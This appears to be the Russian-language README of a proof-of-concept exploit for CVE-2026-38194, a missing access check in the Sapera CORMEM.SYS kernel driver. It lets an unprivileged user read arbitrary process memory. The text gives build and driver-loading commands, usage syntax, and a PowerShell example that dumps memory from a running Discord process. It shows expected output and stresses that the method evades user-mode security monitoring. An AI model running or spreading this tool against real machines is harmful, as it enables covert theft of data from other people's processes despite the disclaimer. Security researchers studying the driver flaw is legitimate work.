
Этот инструмент демонстрирует CVE-2026-38194 — уязвимость в Teledyne Digital Imaging Sapera Memory Manager (версии 9.0.0.0 и ниже). Драйвер ядра CORMEM.SYS предоставляет IOCTL без каких-либо проверок контроля доступа, позволяя обычному непривилегированному пользователю напрямую читать и записывать произвольную память процессов через ядро — в обход мониторинга Win32 API.
ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ:
Этот проект предназначен только для образовательных целей и исследований в области безопасности. Используйте только на тех системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Несанкционированное использование может быть незаконным в вашей юрисдикции.
Этот инструмент демонстрирует CVE-2026-38194 — уязвимость в Teledyne Digital Imaging Sapera Memory Manager (v9.0.0.0 и ниже).
Драйвер ядра CORMEM.SYS предоставляет IOCTL без каких-либо проверок контроля доступа,
что позволяет обычному непривилегированному пользователю напрямую читать и записывать память произвольных процессов через ядро, полностью обходя мониторинг Win32 API.

Доступ к памяти осуществляется через трансляцию физических адресов (обход таблиц страниц), а не через ReadProcessMemory, что делает его незаметным для большинства пользовательских средств безопасности.
cmake -B build -A x64
cmake --build build --config Release
Если CORMEM.SYS ещё не загружен, загрузите его вручную от имени администратора:
sc.exe create CORMEM binPath= "C:\path\to\CORMEM.SYS" type= kernel start= demand
sc.exe start CORMEM
После завершения выгрузите:
sc.exe stop CORMEM
sc.exe delete CORMEM
cordrv_exploit.exe <pid> <address> [size]
pid Идентификатор процесса (десятичный)
address Виртуальный адрес для чтения (шестнадцатеричный)
size Количество байт для дампа, по умолчанию 256, максимум 1048576
# Получаем основной процесс Discord
$proc = Get-Process -Name "Discord" | Sort-Object WorkingSet -Descending | Select-Object -First 1
$discordPid = $proc.Id
$base = $proc.Modules[0].BaseAddress
Write-Host "PID : $discordPid"
Write-Host "Base : 0x$($base.ToString('X'))"
.\build\Release\cordrv_exploit.exe $discordPid "0x$($base.ToString('X'))" 256
Ожидаемый вывод:
[*] Target PID : 16364
[*] Target address : 0x7FF6FC180000
[*] Dump size : 256 bytes
[*] Initializing CorDrv...
[+] Driver initialized.
[*] Finding system DTB...
[+] System DTB: 0x1AE000
[*] Searching EPROCESS list for PID 16364...
[+] Process DTB: 0x2CD30F000
[+] VA 0x7FF6FC180000 -> PA 0x1A98C2000
Memory dump (0x7FF6FC180000, 256 bytes):
7FF6FC180000: 4D 5A 78 00 01 00 00 00 04 00 00 00 00 00 00 00
7FF6FC180010: 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
...
[+] Done.
4D 5A по смещению 0 подтверждает, что MZ-заголовок был успешно прочитан из физической памяти.